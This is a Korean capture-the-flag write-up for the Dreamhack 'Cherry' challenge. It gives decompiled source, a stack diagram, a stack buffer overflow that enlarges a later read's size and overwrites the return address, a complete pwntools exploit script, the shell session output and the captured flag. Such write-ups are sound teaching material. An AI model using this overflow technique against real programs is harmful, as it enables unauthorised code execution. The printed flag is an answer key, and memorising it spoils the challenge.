Description

    주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.

    플래그의 형식은 DH{…} 입니다.

    checksec

    iotfragile@iotfragile:~/CTF/Cherry$ checksec --file ./chall
    [*] '/home/iotfragile/CTF/Cherry/chall'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    chall (Decompiled-src)

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      char buf[6]; // [rsp+18h] [rbp-18h] BYREF
      int v5; // [rsp+1Eh] [rbp-12h] BYREF
      __int16 v6; // [rsp+22h] [rbp-Eh]
      int v7; // [rsp+24h] [rbp-Ch]
      int fd; // [rsp+28h] [rbp-8h]
      int v9; // [rsp+2Ch] [rbp-4h]
    
      v9 = 0;
      fd = 1;
      v5 = 0x72656863;
      v6 = 0x7972;
      v7 = 0x10;
      initialize(argc, argv, envp);
      write(1, "Menu: ", 6uLL);
      read(0, buf, 0x10uLL);
      if ( !strncmp(buf, "cherry", 6uLL) )
      {
        write(fd, "Is it cherry?: ", 0xFuLL);
        read(v9, &v5, v7);
      }
      return 0;
    }

    Stack

    =========================
    RET
    =========================
    RBP
    =========================
    stdin (=0) [4bytes] <- rbp – 0x4
    =========================
    stdout (=1) [4bytes] <- rbp – 0x8
    =========================
    buf_size (=v7) [4bytes] <- rbp-0xc
    =========================
    v6 [2bytes] <- rbp – 0xe
    =========================
    fruit(=v5) [4bytes] <- rbp-0x12
    =========================
    buf[6] [6bytes] <- rbp-0x18
    =========================

    Solution

    1. buf를 read로 입력받는데 지정된 6바이트 크기보다 더 큰 “16”바이트를 입력받을 수 있다. (버퍼 오버플로우 발생)
      따라서 buf_size인 v7까지 덮어쓸 수 있기 때문에 두번쨰 실행될 read 함수에서도 크기에 상관없이 입력받을 수 있다.
    2. RET까지 침범시켜 RET 주소를 flag 주소인 0x4012BC로 덮어씌워서 쉘을 획득하면 된다.
    from pwn import *
    context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 23200)
    
    p.recvuntil("Menu: ")
    
    payload = b"cherry" + b"A"*10
    p.send(payload)
    
    p.recvuntil("Is it cherry?: ")
    payload = b"A"*(0x12+8) + p64(0x4012BC)
    p.send(payload)
    
    p.interactive()

    Result

    PS C:\Users\Seo Hyun-gyu\Downloads\678c0f29-2cf8-41d8-8d66-a2c17d4c3f9a (1)> python3 solve.py
    [x] Opening connection to host3.dreamhack.games on port 23200
    [x] Opening connection to host3.dreamhack.games on port 23200: Trying 23.81.42.210
    [+] Opening connection to host3.dreamhack.games on port 23200: Done
    [*] Switching to interactive mode
    ls
    chall
    flag 
    cat flag
    DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

    FLAG

    DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다